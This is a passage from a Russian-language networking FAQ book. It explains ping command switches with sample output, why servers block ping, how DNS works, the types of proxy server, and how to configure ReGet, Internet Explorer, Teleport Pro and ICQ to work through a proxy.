Действительно, теперь найдет второй маршрутизатор в цепочке! Увеличиваем значение TTL еще на единицу…

C:\>ping -i 3

Обмен пакетами с [194.67.18.8] по 32 байт:

Ответ от 195.151.210.29: Превышен срок жизни (TTL) при передаче пакета.

В самом деле, этот прием работает! Правда, уж очень утомительно перебирать пакеты вручную. Но работу легко оптимизировать командным файлом следующего содержания {>>>> сноска Работает только под Windows 2000 или выше} FOR /L (%%I) IN (1,1,30) DO ping %1 -i %%I, вызываемого с аргументом – доменным именем или IP-адресом трассируемого узла, и он самостоятельно начнет перебирать все значения TTL от 1 до 30.

Ключ v задает значения поля типа службы (TOS - Type Of Service). Тип сервиса с помощью некоторых абстрактных параметров указывает предпочтительный вид обслуживания – минимальная задержка, максимальная пропускная способность, максимальная надежность, минимальные издержки на пересылку или обычная, неприоритетная, пересылка. Предпочтение может быть отдано только одному типу приоритета – нельзя одновременно требовать молниеносной скорости пересылки пакета в купе с соломоновой надежностью его доставки. Выбирайте уж что-то одно!

Тип сервиса задается одним из следующих десятичных чисел (См. таблицу 3). Как легко видеть, каждому значению соответствует свой бит:

Код сервиса

Пояснение

2

минимальные издержки на пересылку

4

максимальная надежность доставки

8

максимальная пропускная способность

16

минимальная задержка

Таблица 3. Допустимые типы сервиса в поле TOS

Не все маршрутизаторы анализируют поле TOS, - многие из них его напрочь игнорируют, что и подтверждает следующий эксперимент.

C:\>ping -v 0x2

Обмен пакетами с [195.151.210.34] по 32 байт:

Ответ от 195.151.210.34: число байт=32 время=130мс TTL=254

C:\>ping -v 0x4 -n 1

Обмен пакетами с [195.151.210.34] по 32 байт:

Ответ от 195.151.210.34: число байт=32 время=130мс TTL=254

C:\>ping -v 0x8 -n 1

Обмен пакетами с [195.151.210.34] по 32 байт:

Ответ от 195.151.210.34: число байт=32 время=130мс TTL=254

C:\>ping -v 16

Обмен пакетами с [195.151.210.34] по 32 байт:

Ответ от 195.151.210.34: число байт=32 время=130мс TTL=254

Независимо от типа сервиса время отклика всегда составляло ровно 130 мс, и быстроты пересылки при TOS равном 16 не наблюдалось. А вот пример сети, поддерживающей TOS.

C:\>ping -v 2

Обмен пакетами с [195.161.42.218] по 32 байт:

Ответ от 195.161.42.218: число байт=32 время=2143мс TTL=127

C:\>ping -w 10000 -v 4

Обмен пакетами с [195.161.42.218] по 32 байт:

Ответ от 195.161.42.218: число байт=32 время=1763мс TTL=127

C:\>ping -v 8

Обмен пакетами с [195.161.42.218] по 32 байт:

Превышен интервал ожидания для запроса.

Ответ от 195.161.42.218: число байт=32 время=1332мс TTL=127

C:\>ping -v 16

Обмен пакетами с [195.161.42.218] по 32 байт:

Ответ от 195.161.42.218: число байт=32 время=1092мс TTL=127

Наибольшая задержка наблюдалась при TOS равном 2 (минимальные издержки на пересылку), а наименьшая – при TOS равным 16 (минимальная задержка), и чуть менее быстрой оказались посылки с TOS равным 8.

Какую пользу из этого можно извлечь? А вот какую – прикладные программы могут манипулировать полем TOS по своему усмотрению, выбирая значение, соответствующее специфике своей работы. Например, telnet-клиенты, ICQ и чаты очень чувствительны к задержкам, ftp клиентам задержки не страшны – была бы хорошей пропускная способность, и т.д. Разумеется, если промежуточные узлы игнорируют содержимое поля TOS, никакого выигрыша не получается и высокоприоритетные пакеты (например, от ICQ) обрабатываются с той же скоростью, что и пакеты, скажем, от почтового сервера, не критичные к скорости доставки. Использование ping с ключом –v позволяет выяснить поддерживается ли TOS на данном маршруте и если имеется несколько альтернативных маршрутов – выбрать из них наиболее подходящий {>>>>> сноска К слову сказать, далеко не все приложения устанавливают поле TOS в соответствующее значение, оставляя его по умолчанию}

Ключ r заставляет промежуточные узлы записывать в заголовок отправляемых эхо – запросов свои IP-адреса (см. "Можно ли обойти защиту от трассировки?"). Не все маршртузаторы поддерживают такую возможность, но очень многие. Ping, вызванная с ключом –r, позволяет отслеживать маршрут пересылки пакетов и могла бы полностью заменить собой утилиту tracert (см. "Как определить полный путь (прохождение) при скачивании файла") если бы не ограничения, налагаемые размером IP-заголовка на максимальное количество запоминаемых адресов, – их умещается всего девять, и более длинные пути отслеживать этим способом невозможно.

Ключ s похож на ключ –r, но заставляет промежуточные узлы вносить в заголовок не свои адреса, а временную метку (или "штамп времени" в плохом русском переходе). По общепринятым соглашениям временная метка представляет собой четырехбайтовое поле, содержащее число миллисекунд, истекших с начала полуночи всеобщего скоординированного времени, однако, на практике это соглашение мало кто соблюдает и многие маршрутизаторы заполняют это поле всякой отсебятиной, интерпретируемой только одним им известным способом.

На количество запоминаемых временных меток наложены те же самые ограничения, что и на количество запоминаемых IP-адресов, за одним небольшим исключением – временная метка, вставленная неизвестно каким маршрутизатором, бесполезна (разве что маршрут путешествия пакетов заведомо не меняется с течением времени и может быть предварительно выявлен трассировкой). По умолчанию утилита ping автоматически запоминает IP-адреса узлов при записи временных меток – таких пар в заголовок пакета может вместиться только четыре.

Временная метка выгодно отличается тем, что позволяет вычислять точную скорость пересылки пакета, поскольку содержит в себе не общий интервал задержки (от пересылки в оба конца), а время пересылки на заданный узел. По непонятным причинам штатная (да и большинство остальных) реализация утилиты ping не позволяет задавать запись временной метки для произвольного узла в цепочке (хотя, в принципе это возможно), чем полностью обесценивает ключ –s, ну, право же, редкий сервер отделен от клиента менее чем четырьмя промежуточными узлами!

Пример вызова ping с ключом –s приведен ниже. Обратите внимание на временную метку – похоже она представляет собой ни что иное, как случайное число.

C:\>ping -s 2

Обмен пакетами с [195.151.210.34] по 32 байт:

Ответ от 195.151.210.34: число байт=32 время=151мс TTL=254

Штамп времени: 195.151.210.36 : 3658968578 ->

195.151.210.34 : 2275040770

Ответ от 195.151.210.34: число байт=32 время=140мс TTL=254

Штамп времени: 195.151.210.36 : 3357240834 ->

195.151.210.34 : 1956535810

Ответ от 195.151.210.34: число байт=32 время=141мс TTL=254

Штамп времени: 195.151.210.36 : 3122621954 ->

195.151.210.34 : 1738694146

Ответ от 195.151.210.34: число байт=32 время=140мс TTL=254

Штамп времени: 195.151.210.36 : 2888003074 ->

195.151.210.34 : 1504075266

Статистика Ping для 195.151.210.34:

Пакетов: отправлено = 4, получено = 4, потеряно = 0 (0% потерь),

Приблизительное время передачи и приема:

наименьшее = 140мс, наибольшее = 151мс, среднее = 143мс

Ключ j задает список узлов для свободной маршрутизации от клиента и аналогичен одноименному ключу утилиты tracert (см. "Каково назначение ключей tracert?").

Ключ k похож на ключ –j, но задает список узлов для жесткой маршрутизации, т.е. пакет передается из рук в руки строго по перечню перечисленных узлов и ни один их них не может позволить себе воспользоваться услугами "собственного" маршрутизатора для передачи пакета следующему узлу. Если узел не может передать пакет напрямую, он уничтожает его и посылает отправителю соответствующее уведомление, дескать, такая маршрутизация от источника невозможна. Существует очень мало причин, требующих применения свободной, а тем более жесткой маршрутизации. Все это пережиток старых времен, – современные сети самостоятельно решают проблемы маршрутиазции пакетов и пытаться помочь им, право, не стоит – они и без того справляются со своей задачей слишком хорошо.

Ключ –-a задает определение имен узлов по их IP-адресам. Так, во всяком случае, сказано в документации. Смысл этого неясен – такое определение и без того происходит автоматически независимо от наличия (отсутствия) ключа "-a".

Родственные вопросы:

Провайдер и удаленный доступ  Оптимизация соединения с Интернет

Провайдер и удаленный доступ  Описание утилиты MTUSpeed

Как определить полный путь (прохождение) при скачивании файла

Можно ли обойти защиту от трассировки?

Каково назначение ключей tracert?

Q:Почему ping не проходит, а сайт сервера нормально работает и открывается?

Бывает, – ping к некоторому серверу упорно не проходит, какую бы ни выбрал задержку, но все сервисы (будь то почта или web) работают нормально. Почему? Все объясняется очень просто – администратор сервера защитил его межсетевым экраном, блокирующим либо эхо - запросы, либо эхо – отклики, либо и те, и другие вместесразу. А может запрет эхо – откликов наложен на сам узел.

Все эти меры предосторожности объясняются тем, что эхо – посылки имеют более высокий приоритет по сравнению с обычными пакетами (иначе бы эха век не дождаться) и злоумышленники могут перегрузить сервер, направив на него штурм эхо – запросов. "Упасть", правда, сервер не упадет, но вот общая производительность несколько снизится. Хуже направить шторм эхо – запросов от имени жертвы, выходящей в Интернет по модему, – на нее обрушится сокрушительная лавина эхо – ответов от быстродействующего сервера (хорошо если одного), плотно забивающая канал…

Вот поэтому-то, для заблаговременного предотвращения возможности атаки, эхо – посылки и запрещаются, делая работу ping невозможной, но все службы сервера продолжают как ни в чем не бывало работать!

A:Что такое DNS?

Для успешного функционирования любой коммуникационной сети каждый из ее узлов должен обладать некой уникальной характеристикой, отличающей его ото всех остальных. В телефонии для этой цели используется абонентский номер, а в Интернете – IP-адрес. Такая аналогия вполне уместна: IP-адрес состоит из адреса сети (что-то вроде кода города или страны), адреса подсети (по аналогии: номера АТС) и адреса узла (номера абонентского комплекта, находящегося на этой АТС). На заре развития Интернет все узлы и соответствующие им имена перечислялись в специальном host-файле, который, подобно телефонному справочнику, периодически обновлялся и рассылался абонентам сети.

Но даром что ли компьютер призван облегчать человечеству жизнь? Вот и предложили все операции с доменными именами автоматизировать и возложить эту заботу на него. Перед разработчиками стояла задача: создать высокопроизводительную базу данных, способную функционировать в сети с огромным количеством узлов и рассчитанную на одновременную обработку множества запросов. Владельцами локальных сетей высказывались пожелания в пользу децентрализованной системы, статус каждого субъекта которой соответствовал бы его роли в сети Интернет. Проще говоря, администраторы требовали права самостоятельно выдавать доменные имена своим подопечным, не дожидаясь пока NIC (Net-world Information Center) обработает поданные ему заявки и внесет исправления в host-файл (а ведь когда-то все так и происходило!)

Таким требованиям отвечала идея иерархического пространства имен – дерева, листья которого хранятся на множестве компьютеров, разбросанных по всему свету, а их администрирование возложено на организаторов подсетей, подключенных к Интернету. Каждому из них предписано установить собственный сервер, содержащий информацию о локальных доменах и способный обслуживать пользователей как внутри подсети, так и за ее пределами.

Существенными недостатками распределенной базы данных является: низкая скорость обработки запросов, плохая согласованность информации и недостаточно высокая надежность системы. Но попытка компенсировать падение производительности путем локального кэширования приводит к еще большей несогласованности и недостоверности полученных данных. Отказавшись от поисков "золотой середины", разработчики постановили: обеспечение доступа к базе – более приоритетная задача, чем целостность и согласованность информации, а любые изменения в системе имен должны вноситься так, чтобы не препятствовать доступу к ресурсу по прежним адресам.

Подобную базу данных в принципе можно реализовать посредством любого существующего протокола, например, скачивать ее по ftp, пересылать по электронной почте и т.д. Но по соображениям совместимости эту службу в 1984 году выделили в самостоятельный протокол, технически обозначенный как DNS (Domain Name System).

Таким образом, DNS - сервис необходим для обеспечения доступа к базе данных, ассоциирующей доменные имена с IP-адресами узлов, которые необходимо "знать" межсетевому IP-протоколу для установки соединения.

>>>>> Врезка

Доменное имя состоит из одного или нескольких поддоменов, разделенных для удобства построения иерархии символом точки, причем порядок задается справа налево. Использование национальных кодировок в именах доменов до сих пор недопустимо, что вызывает неудобства у неанглоязычной части населения планеты (причем препятствия в решении этой проблемы не технические, а скорее организационные – попробуй-ка заставить всех администраторов перейти на новую версию DNS-протокола, поддерживающего UNICODE-кодировку).

Наверху иерархии стоят домены первого уровня, находящиеся во владениях Корпорации Распределения Доменных Имен (ICANN), определяющей порядок и правила регистрации поддоменов. До 14 сентября 1995 года эта услуга осуществлялась на некоммерческой основе и выполнялась бесплатно. На выбор предоставлялось 6 доменов высшего уровня (не считая двухбуквенных кодов стран): "gov" – для правительственных учреждений, "mil" – для военных организаций, "edu" – учебных заведений, "com" – коммерческих фирм, "org" – бесприбыльных организаций и "net" – поставщикам сетевых услуг.

Впрочем, тематика ресурса может и не соответствовать занимаемому им домену, – никто не запрещает коммерческой организации регистрироваться в домене "org", а уж тем более предоставлять домены третьего уровня, скажем, поставщикам сетевых услуг. Кроме того, такая классификация оказалась несовместима с национальными доменами и породила перлы наподобие "".

В настоящее время наибольшая концентрация ресурсов наблюдается в домене "com", приглянувшемся не только американским, но и национальным организациям, порой добавляющих свой поддомен слева, скажем так: . Это приводит к нехватке уникальных комбинаций, порождающей в свою очередь такое неприятное явление как спекуляция доменами второго (редко – третьего) уровня.

Проблему пытаются решить введением новых специализированных и национальных ("сс" – Кокосовые Острова, "tv" – Тувалу, "md" – Молдавия и т.д.) доменов. Но с ростом ассортимента верхних доменов усложняется поиск необходимого ресурса, – большинство организаций попадает под множество категорий одновременно, и, попробуй-ка, угадай - на каком домене они могут быть расположены!

<<<<<<

Когда пользователь пытается установить соединение с каким-нибудь узлом, скажем, , браузер (или другое программное обеспечение) обращается к DNS-серверу (IP-адрес которого прописан в настройках TCP/IP соединения клиента) с просьбой определить IP-адрес этого домена. В зависимости от настроек сервера возвращает либо требуемую информацию, либо ссылку на соседний DNS-сервер, который, по его мнению, более компетентен в этом вопросе.

>>>> Врезка 2

По соображениям производительности весь обмен ведется по протоколу UDP, которой, в отличие от TCP, работает без установки соединения, в результате чего не может надежно идентифицировать отправителя пакета. Эта, казалась бы, несущественная техническая тонкость выливается в концептуальную уязвимость, – любой злоумышленник может навязать своей жертве ложный маршрут, полностью перехватывая исходящий трафик.

Причем на сегодняшний день надежной защиты от таких посягательств не существует и вряд ли она появится в обозримом будущем! Спасает лишь тотальная безграмотность подавляющего большинства злоумышленников, умственные возможности которых реализовать описанную выше атаку не позволяют (известен лишь один случай подмены главной страницы сайта компании "ROSNET", путем нападения на DNS сервер). Подробнее об этой проблеме можно прочитать в книгах "Атака на Интернет" и "Техника сетевых атак", написанных Ильей Медведовским и Крисом Касперски соответственно.

<<<<

Возвращенный ответ попадает в кэш и необходимость постоянного обращения к DNS-серверу более высокого уровня отпадает. Поскольку существует резко выраженное преимущество посещаемости одних узлов перед другими, большинство запросов обрабатывается ближайшим DNS-сервером самостоятельно, а то и вовсе содержится в локальном кэше DNS-клиента! В результате этого накладные расходы на перевод доменных имен в IP-адреса пренебрежительно малы, и до тех пор, пока в сети не происходит никаких изменений - все работает нормально. В противном случае пользователи будут вынуждены караулить у моря погоду, ожидая обновления содержимого кэша используемого DNS-сервера. Так, например, провайдер "Зенон", реорганизуя свою подсеть, оставил меня без доступа к почтовому ящику на целых две недели с хвостиком, – вот такой маленький эпизод из жизни!

Было бы нечестно, говоря о достоинствах DNS, не отметить того обстоятельства, что на сегодняшний день лишь незначительная часть ресурсов сети представлена доменными именами второго уровня. Типичная ссылка состоит из леса поддоменов, суммарная длина которых заметно превышает 8-байт IP-адреса, а осмысленность и легкозапоминаемость – скорее исключение, чем правило (слабо с лету запомнить http://encke.jpl.nasa.gov?).

В принципе проблему наименования узлов можно решить и на клиентской стороне – умеют же многофункциональные телефонные агрегаты вызывать абонента нажатием одной клавиши, а современные почтовые приложения автоматически подставлять адрес получателя по его имени?

Если проблемы, связанные с DNS (позволю себе напомнить их еще раз –

а) небезопасность;

б) нехватка и путаница доменных имен;

в) болезненная чувствительность к вносимым изменениям)

- не разрешается, вполне возможно, что в скором будущем использование "голых" IP-адресов обретет вторую популярность, – ведь запоминать их ничуть не труднее, чем телефонные номера, а цифры по-своему притягательны и красивы.

Родственные вопросы:

Что такое дерево (стек) протоколов?

Можно ли увидеть карту всего Internet, связи, каналы, структура?

Безопасность  Чем рискует посетитель виртуального магазина?

Q: Что такое Proxy-сервер и как с ним работать?

Абстрагируясь от всех технических деталей и подробностей, представим себе Proxy-сервер эдаким посредником между другим сервером и клиентом. Грубо говоря, вместо того чтобы идти в магазин самостоятельно, клиент поручает покупку товара торговому агенту. Зачем это может быть нужно? О, на то существует масса причин! Во-первых, если несколько сотрудников фирмы позарез захотели отобедать гамбургером, то непрактично идти всем стадом в ближайший Макдональс – лучше отправить одного человека, а то и вовсе ввести специальную должность пищевого агента, глядишь, – и сотрудники отрываться от работы меньше будут. Во-вторых, смышленый агент не будет дожидаться заявок пользователей, а, изучив их вкусы и пристрастия, закупит все продукты заблаговременно – захочет кто-нибудь Хот-Дог и вот он, пожалуйте, откушать! В-третьих, посредник позволяет покупателю сохранить анонимность – его личность будет знать только сам агент, остается лишь подобрать такого агента, который не выдаст!

??? Рисунок "карикатура" – обыграть предыдущий абзац

Все типы Proxy-серверов можно разделить на три категории: шлюзы, кэшируюшие Proxy-сервера и анонимные Proxy-сервера.

Шлюзы чаще всего используются в локальных сетях – было бы слишком накладно каждому клиенту предоставлять свой собственный "персональный" выход в Интернет. Вот и устанавливают Proxy-сервер, разделяющий один канал между множеством пользователей. Однако, такую тактику используют и некоторые алчные провайдеры (например, krintel – треска ему хвостом вперед!), выкупающие у более крупного провайдера всего один выход в Интернет и всего один постоянный IP-адрес (а то и вовсе обходящиеся без оного), "сажая" на него всех пользователей.

"Извне" остальные абоненты сети видят лишь один узел – Proxy-сервер этого провайдера. Клиент дает Proxy-серверу запрос на установку соединения с таким-то сервером и Proxy выполняет ее от своего имени, возвращая ответ сервера клиенту.

Чем плоха такая схема? В первую очередь невозможностью ни одному внешнему узлу сети самостоятельно установить с клиентом соединение – Proxy просто не будет знать кому именно предназначается этот запрос, поэтому установка соединения из-под Proxy работает только в одном направлении – от клиента к серверу. Такой расклад не дает работать множеству программ, наподобие ICQ, пейджеров, чатов и т.д., так они требуют двухсторонней установки соединения и, если программист явно не предусмотрел возможности работы под Proxy-сервером, придется либо отказываться от использования таких программ, либо менять провайдера. Другое, не столь существенное, но все же досадное ограничение, – невозможность трассировки маршрута в обоих направлениях (см. "Почему трассировка умирает на полпути к серверу назначения") и "пинговки" извне. Но у сетевых жителей, обитающих за Proxy-сервером, есть и свои преимущества, главное из которых – повышенная защищенность, ведь атаковать клиента можно только изнутри (т.е. в рамках сети одного провайдера), а все атаки "извне" принимает на себя Proxy-сервер!

Шлюзы в свою очередь делятся на два подтипа – SOCKS-Proxy и шлюзы уровня приложений.

SOCKS-Proxy работают на сетевом уровне и невидимы для прикладных программ, которые даже не подозревают о существовании Proxy-сервера. От пользователя требуется всего лишь установить Proxy-клиента, выданного ему провайдером, и никаких специальных настроек используемого программного обеспечения! (Равно как и перехода на использование программ специально спроектированных для работы с Proxy-сервером) Единственное условие – порты, через которые эти приложения работают, должны быть открыты на Proxy-сервере. А так бывает не всегда – многие администраторы зачастую закрывают порты, используемые некоторыми потенциально опасными, с их, администраторской, точки зрения, приложениями и упрямо не соглашаются их открыть!

Шлюзы уровня приложений, как и следует из их названия, работают на прикладном уровне и взаимодействуют со строго определенными приложениями через заранее оговоренные порты. Причем, программное обеспечение должно быть спроектировано соответствующим образом и явно поддерживать Proxy-сервер. Узнать поддерживает ли такое-то приложение Proxy-сервер или нет, можно из прилагаемой к нему документации, там же рассказано как эту поддержку включить. Шлюзы уровня приложений чрезвычайно стесняют и ограничивают клиента – ему предоставляется доступ к ограниченному количеству служб (например, только www и ftp) и приходится пользоваться только определенными приложениями – теми, что поддерживают работу через Proxy! Провайдер, предоставляющий доступ с Сети только через шлюз уровня приложений, – самое худшее, что может присниться интернетчику в кошмарном сне. К счастью, сегодня такие практически полностью перевелись – конкуренты задушили. И поделом!

Кэширующие Proxy в основном представляют собой шлюзы уровня приложений, но, в отличие от них, используются факультативно, т.е. по желанию клиента. Хочешь – входи в сеть напрямую, хочешь – используй кэш-сервер. Использование таких Proxy позволяет значительно увеличить скорость обмена данными, особенно при соединении с далекими, загруженными серверами. Будучи подключенным к быстрому каналу, гораздо более быстрому, чем модемная линия, кэш-сервер сглаживает провалы и кратковременные "засыпания" удаленного сервера. Полученные данные Proxy сохраняет на своем диске – кэше и, если запрошенный клиентом ресурс уже был загружен какое-то время назад, он молниеносно "отдается" ему без обращений к удаленному серверу! Конечно, это не слишком хорошо подходит для интенсивно обновляющихся ресурсов, но большинство "умных" Proxy периодически проверяют ресурс на наличие изменений (иногда при каждом запросе оного) и обновляют свой кэш.

Анонимные Proxy – анонимными серверами называются те, которые выполняют запрос клиента от своего имени, не разглашая его IP-адреса. Вряд ли стоит объяснять зачем нужна анонимность – она полезна не только для хулиганских выходок (типа загадил такой-то форум и рад, что никто не найдет и не поймает), но и мирных житейских ситуациях.

Родственные вопросы:

Почему трассировка умирает на полпути к серверу назначения

Как заставить работать такое-то приложение через Proxy-сервер?

Q:Как заставить работать такое-то приложение через Proxy-сервер?

Работа через SOCKS Proxy-сервер (см. "Что такое Proxy-сервер и как с ним работать?") не требует никаких особенных настроек за исключением установки SOCKS Proxy-клиента, – специальной программы, выдаваемой провайдером (администратором) вместе с подробными инструкциями по установке.

Однако Proxy не поддерживает входящие соединения (попросту говоря, не разрешает серверу соединится с клиентом), и все приложения, нуждающиеся во входящих подключениях, отказываются функционировать. К их числу относятся: клиенты ftp (см. "Не могу скачать файл с ftp через Proxy-сервер (Firewall)! Почему это и как быть?"), Интернет-пейджер ICQ и другие программы (см. "Как заставить работать ICQ через Proxy или firewall?")

Со шлюзами уровня приложений все гораздо сложнее: через http- или ftp-Proxy могут работать лишь приложения, явно предусматривающие такую возможность. Ряд программ, например, почтовые клиенты, вообще не могут работать через шлюзы уровня приложений и пользователи вынуждены отказываться от их использования, выбирая альтернативный сервис, доступный через web, а, если по каким-то причинам это невозможно, – сушите весла лаптями в сторону.

Ниже будет показано как настроить три популярных приложения ReGet, Internet Explorer и Teleport Pro для работы через http Proxy сервер. О настройке других приложений можно узнать из прилагаемой к ним документации

ReGet

В меню "Настройки" выберите пункт "Свойства закачки по умолчанию" (или нажмите комбинацию клавиш <Ctrl+Alt+O>) и в открывшемся диалоговом окне перейдите к закладке "Прокси".

Для работы через HTTP Proxy-сервер взведите галочку "Использовать для HTTP" и строкой ниже укажите адрес сервера и номер порта, отделенный от адреса двоеточием, например, так: proxy.itech.ru:3128 (номер порта и адрес сервера можно узнать у администратора сети или провайдера). Если Proxy требует аутентификации, в строке "Имя" введите свой логин, а в строке "Пароль" свой пароль. В графе "Откат на" укажите количество байт которые будет отрезаться от хвоста скаченного файла при каждом разрыве соединения (подробнее см. "Я скачал файл с сервера, а он отказывается распаковываться (запускаться). Кто виноват и что делать?"). Галочка "Хитрый откат" будучи взведенной задействует продвинутый алгоритм отрезания хвоста, пытающийся определить точное положение "мусора" в хвосте, дабы не отрезать лишнего. Анализируя поток данных, ReGet ищет строки характерные для сообщений об ошибке (по умолчанию – "HTTP/1.,<HTML>"). Если ваш Proxy-сервер информирует об ошибке каким-то иным образом (что, впрочем, достаточно маловероятно) добейтесь появления в окне браузера сообщения о такой ошибке, а затем в меню "Вид" выберите "В виде HTML" и скопируйте самую верхнюю строку в поле "Список первых символов сообщения об ошибке" диалогового окна настроек ReGet. Вообще-то, от использования "хитрого отката" лучше отказаться – он, экономя всего лишь несколько секунд на каждый разрыв соединения, создает угрозу необратимо испортить скачиваемый файл так, что его будет проще скачать сначала, чем восстановить. Так стоит ли рисковать?

Для работы через ftp Proxy-сервер взведите галочку "Использовать для FTP" и строкой ниже укажите адрес сервера и номер порта, отделенный от адреса двоеточием, например, так: proxy.itech.ru:3128 (номер порта и адрес сервера можно узнать у администратора сети или провайдера). Если Proxy требует аутентификации, в строке "Имя" введите свой логин, а в строке "Пароль" свой пароль. В большинстве случаев провайдеры предоставляют один Proxy для ftp- и http-протоколов, для работы с которым радио кнопка графы "Тип FTP прокси" должна находится в положении "HTTP". Если же соединение осуществляется через WinGate или Microsoft Proxy, требующих представлять адрес ftp-сервера и имя пользователя в виде адреса электронной почты, перекиньте эту радио кнопку в положение "user@site".

Ограничения: ReGet поддерживает только базовый алгоритм аутентификации и не умеет передавать на Proxy зашифрованный пароль. Некоторые администраторы запрещают базовую аутентификацию по соображениям безопасности (пароль, переданный открытым тестом, легко перехватить), что приводит к неработоспособности ReGet. Выход состоит в установке SOCKS Proxy-клиента, самостоятельно перехватывающего запросы на установку соединения и переправляющие их на Proxy. Обратите внимание – при работе через Proxy-клиента галочки "Использовать для HTTP" и "Использовать для FTP" в настройках ReGet следует сбросить.

Рисунок 12 рис 0х022 Настройка ReGet для работы через Proxy-сервер

Internet Explorer

В меню "Сервис" выберите пункт "Свойства обозревателя" и в открывшемся диалоговом окне перейдите к закладке "Подключение". Нажмите кнопку "Настройка сети", находящуюся в графе "Настройка локальной сети", затем взведите галочку "Использовать прокси-сервер" и в строке "Адрес" введите IP-адрес или доменное имя Proxy-сервера, а в строке "Порт" – номер порта (как правило, 80). Если в локальной сети есть один или несколько web-серверов, для обращения к ними в обход Proxy-севера взведите галочку "Не использовать прокси – сервер для локальных адресов".

Кнопка "Дополнительно" открывает новое диалоговое окно для более тонкой настройки, позволяя по раздельности задавать адреса и порты Proxy-серверов для http-, ftp-, Gopher- и Socks-протоколов. Конкретные значения можно узнать у администратора сети или провайдера. Чаще всего используется один Proxy для http- и ftp-протоколов, "повешенный" на 80, 8080 или 8081 порт, хотя номер порта в принципе может быть любым. Socks-сервера по обыкновению "висят" на порту 1080, а протокол Gopher в настоящее время считается достойным пережитком старины и более не используется. Галочка "Один прокси сервер для всех протоколов" будучи взведенной приводит к использованию адреса и порта http Proxy-сервера для всех остальных протоколов.

Графа "исключения" позволяет задавать шаблоны IP-адресов (доменных имен) обращения к которым будет происходить напрямую, "в обход" Proxy-сервера. В шаблонах допустимы символы-джокеры, а сами шаблоны отделяются друг от друга точкой с запятой. Например, чтобы не "проксить" web-узлы, находящиеся в доменах ru и ua, достаточно ввести следующее: "www.*.ru;www.*.uk". Подобная настройка полезна в тех случаях, когда провайдер предоставляет факультативный Proxy (т.е. позволяет выходить в Интернет как через Proxy, так и минуя оный). Разумно использовать Proxy только для далеких, забугорных, тормозных узлов, а к быстрым серверам обращаться напрямую, не прибегая к Proxy, т.к. это не увеличит и без того высокой скорости загрузки сайтов, а скорее замедлит ее за счет дополнительных "перекладных" на маршруте путешествия пакетов.

Аутентификация: если Proxy-сервер требует аутентификации, т.е. ввода имени пользователя и пароля, то Internet Explorer автоматически подставляет имя и пароль под которым пользователь вошел в систему. Для этого необходимо установить "Клиента сетей Microsoft" ("Панель управления"  "Сеть"  "Добавить"  "Клиент"  "Клиент сетей Microsoft"), а в некоторых случаях установить "Общий доступ к файлам и папкам" – Windows 98 при этом добавит новые компоненты, поддерживающие большое количество алгоритмов аутентификации – в противном случае система будет передавать пароль открытым текстом, что не всегда приемлемо. Задать произвольный пароль для входа на Proxy-сервер браузер Internet Explorer не позволяет.

Рисунок 13 Рис. 0х023 Настройка Internet Explorer для работы через Proxy-сервер

Teleport Pro

В меню "File" ("Файл") выберите пункт "Proxy server" ("Proxy-сервер") и в появившемся диалоговом окне взведите галочку "Connect to the Internet through this proxy server" ("Подключаться к Интернет через этот Proxy-сервер"), а строкой ниже введите его IP-адрес (доменное имя) и номер порта. Если Proxy-сервер требует аутентификации в строке "Proxy Account" введите свой логин, а в окне "Proxy Password" – пароль. Нажмите "ОК" и на этом процедуру настройки можно считать завершенной.

Родственные вопросы:

Что такое Proxy-сервер и как с ним работать?

Не могу скачать файл с ftp через Proxy-сервер (Firewall)! Почему это и как быть?

Как заставить работать ICQ через Proxy или firewall?

Получение файлов  Я скачал файл с сервера, а он отказывается распаковываться (запускаться). Кто виноват и что делать?

Q:Как заставить работать ICQ через Proxy или firewall?

Нажмите кнопку "ICQ" и в появившемся меню выберите пункт "Preferences" (предпочтения), затем в открывшемся диалоговом окне перейдите к закладке "Connection" (подключение). В секции "Internet connection Type" (тип соединения с Интернет) нажмите кнопку "Firewall Settings" ("Настройки Firewall и Proxy-сервера" – о Proxy ничего не говорится, видимо, разработчики полагали, что пользователи, не обделенные даром ясновидения, об этом догадаются самостоятельно). Если же она заблокирована – проделайте следующие шаманские манипуляции: переместите радио кнопку в положение "I'm using a permanent internet connection (LAN)" (Я использую постоянное соединение с Интернет типа локальной сети) даже в том случае, если выходите в сеть через модем. Это необходимо для того, чтобы разблокировать два следующих пункта, указывающие выходите ли вы в сеть через Proxy (Firewall) или соединены напрямую, минуя оные. Переместите радио кнопку в положение "I am behind a firewall or proxy" ("Моя сидеть за Firewall или Proxy" – явно чувствуется иностранный акцент разработчиков) – это разблокирует кнопку "Firewall Setting". Теперь можно вернуть тип Интернет - соединения на подключение через модем (если вы действительно выходите через модем), переместив радио кнопку в положение "I'm using a modem (or any other dial-up device)" ("Я использую модем или другое диалапное устройство") – пункты выбора "Firewall или не Firewall" тут же поблекнут, но кнопка "Firewall Setting" останется гореть ярким пламенем – нажмите ее! (Руки разработчиков растут из того места, которым они думают).

Появится диалог "ICQ Firewall Setting Wizard" – мастера настройки подключения через Firewall или Proxy-сервер. Текст, выведенный мастером, в переводе гласит следующее: "Пожалуйста, проконсультируйтесь у вашего сетевого администратора касательно настроек Firewall-а/Proxy-сервера". А именно – установлен ли Proxy-сервер и если да то какой: SOCKS 4, SOCKS 5 или какой-то другой? Каково доменное имя (IP-адрес) Proxy-сервера, номер порта, требуется ли авторизация и если да, то попросите сообщить вам имя и пароль. Спросите так же установлен ли Firewall? Если да, попросите уточнить какие порты на нем открыты и какие протоколы разрешены: (UDP, TCP)? Уф… сколько всего!

Только не удивляйтесь, если лицо администратора примет выражение тигра под хвост которому залетел шмель и будьте готовы принять на себя все громы и молнии, а так же землетрясение, потоп, ураган и цунами – все сразу. Ой, как не любят администраторы ICQ! И на то есть веские причины! Программа с закрытой спецификацией протокола, множеством ошибок и дыр, да к тому же наследующая все привилегии запустившего его пользователя – "золотой ключ" любого хакера, вознамерившегося проникнуть в локальную сеть сквозь крепостную стену Firewall-а. Разрешать использование ICQ может либо бестолковый, либо наплевательски относящийся к безопасности администратор. Впрочем, кто не рискует…

